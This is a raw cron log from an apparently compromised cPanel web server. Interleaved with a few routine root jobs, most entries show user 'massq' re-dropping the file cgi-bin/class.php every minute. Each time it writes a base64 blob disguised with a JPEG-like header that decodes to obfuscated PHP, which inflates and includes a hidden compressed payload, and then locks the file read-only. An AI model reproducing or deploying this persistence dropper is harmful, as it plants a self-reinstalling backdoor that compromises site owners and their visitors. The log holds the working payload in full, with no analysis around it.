Apr 11 01:21:01 server CROND[30660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:22:01 server CROND[30718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:23:01 server CROND[30772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:24:01 server CROND[30916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:25:01 server CROND[30981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:25:01 server CROND[30982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:25:01 server CROND[30983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:26:01 server CROND[31101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:27:01 server CROND[31155]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 01:27:01 server CROND[31156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:28:01 server CROND[31212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:29:01 server CROND[31356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:30:01 server CROND[31436]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 01:30:01 server CROND[31438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:30:01 server CROND[31446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:30:01 server CROND[31437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:31:01 server CROND[31582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:32:01 server CROND[31638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:33:01 server CROND[31690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:34:01 server CROND[31834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
